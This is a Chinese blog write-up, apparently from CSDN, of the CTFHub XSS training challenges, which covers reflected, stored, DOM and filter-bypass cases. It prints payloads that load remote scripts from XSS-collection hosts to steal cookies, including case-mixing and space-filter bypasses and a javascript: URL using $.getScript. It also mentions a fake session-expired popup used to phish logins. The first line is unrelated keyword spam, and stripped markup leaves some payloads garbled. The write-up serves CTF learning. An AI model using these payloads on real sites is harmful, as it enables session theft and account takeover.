个人网站策划书范文,dw网页设计期末作业,wordpress 反馈表,微信公众号小程序有哪些功能前言 在众多的CTF平台当中#xff0c;作者认为CTFHub对于初学者来说#xff0c;是入门平台的不二之选。CTFHub通过自己独特的技能树模块#xff0c;可以帮助初学者来快速入门。具体请看官方介绍#xff1a;CTFHub。
作者更新了CTFHub系列#xff0c;希望小伙伴们多多支持…前言 在众多的CTF平台当中作者认为CTFHub对于初学者来说是入门平台的不二之选。CTFHub通过自己独特的技能树模块可以帮助初学者来快速入门。具体请看官方介绍CTFHub。
作者更新了CTFHub系列希望小伙伴们多多支持。
作者的CTFHub技能树汇总
CTFHub技能树Web汇总-CSDN博客
注如果想做本文的题目可以自己搭建一个XSS接受平台或者是用在线的XSS平台。
反射型
发现有两个表单 第一个表单用来试验看是否有漏洞 从URL上发现原来是GET传参也可以直接在URL上传参进行试验 第二个表单显示sent URL to bot这是因为反射型XSS在用户点击后才会生效但这道题没人点击我们生成的payload只好发送给robot让程序模拟用户点击使我们的payload生效。
这里我们直接利用在线网站生成的payload大家需用自己网站生成的的payload 我们在第二个表单中发送payload给后台的bot让其遭受xss攻击模拟管理员点击了恶意xss链接盗取cookie Ok了xss链接生效了靶机上线 我们查看返回的xss数据在cookie中发现flag 存储型
还是两个表单一个尝试一个bot 和上题一样先测试一下XSS漏洞 这次是POST传参 传递的内容是URL编码后的payload 在第一个表单里写一下在线平台的payload其实只尝试是否弹窗就可以了
注意在第一个框试验在线平台的payload会导致我们自己的主机上线但我们的主机没有flag找flag时不要找错了 这里的“会话过期”是我的在线xss平台设计的弹窗目的是诱导用户重新登陆从而控制用户账号。但实际上没啥用仅仅有弹窗的效果相当于alert(此会话已过期您需要重新登陆)这里暂时忽略。 右键查看源代码看看xss是怎么形成的 第一个框上传后再将当前url粘贴到第二个框中发给bot这样就把有我们payload的页面发给bot存储型与反射型区别就在于此从而上线主机
还是cookie里有flag DOM反射
直接输入payload竟然没弹窗看看源代码原来是没有去闭合语句 这里我们要去闭合语句
;/scriptsCRiPt sRC//xs.pe/FVQ/sCrIpTscript 成功弹窗 看一下源代码完美闭合 还是发给bot看cookie DOM跳转
一进来看见Submit不好使了还以为有前端过滤 捣鼓一顿发现就算Submit可以提交了也没啥用 遂观察源代码 以下是上面JavaScript代码的分步解释
1、location.search 获取当前URL中?号开始的查询字符串部分 例如URL为 http://example.com?jumptonews.html 时location.search 返回 ? jumptonews.html
2、split() 用等号分割查询字符串 上述例子会被分割为数组[?jumpto, news.html]
3、target[0].slice(1) 处理第一个参数 target[0] 是 ?jumpto .slice(1) 去掉第一个字符问号得到 jumpto
4、判断 if (target[0].slice(1) jumpto) 验证第一个参数名是否为jumpto
5、location.href target[1] 执行跳转 当条件满足时页面会自动跳转到target[1]指定的地址
简单来说这段代码的作用是从当前页面的URL中获取查询字符串URL的get参数如果参数名为jumpto则将页面重定向到参数值所指定的URL。
而当我们传递类似于jumptojavascript:alert(1)这样的代码时浏览器会将其解释为一种特殊的URL方案即 “javascript:”。在这种情况下浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析然后执行它。
验证一下 成功弹窗 然后构造链接来加载xss平台的代码
?jumptojavascript:$.getScript(//uj.ci/a3b)
这段代码使用了jQuery的$.getScript()函数来异步加载并执行来自xss平台的js脚本使用前提是网站引用了jQuery。
发给机器人 成功获得flag 注意像作者之前使用的TLXSS平台就不支持jQuery从而耗费了很长时间大家如果做不出来就换一个xss平台而且不要再换成同类型的平台这个坑大家一定要注意
过滤空格
没什么说的把payload换一下就行
因为会过滤空格所以我们用下面的payload
sCRiPt/sRC//xs.pe/FVQ/sCrIpT
发给bot 看cookie 过滤关键词
先尝试一下 直接弹窗了 应该是在线网站的payload有大小写绕过尝试了一下下面这句就不会弹窗应该是过滤了script 既然在线网站的payload可行那我们直接发给bot看cookie成功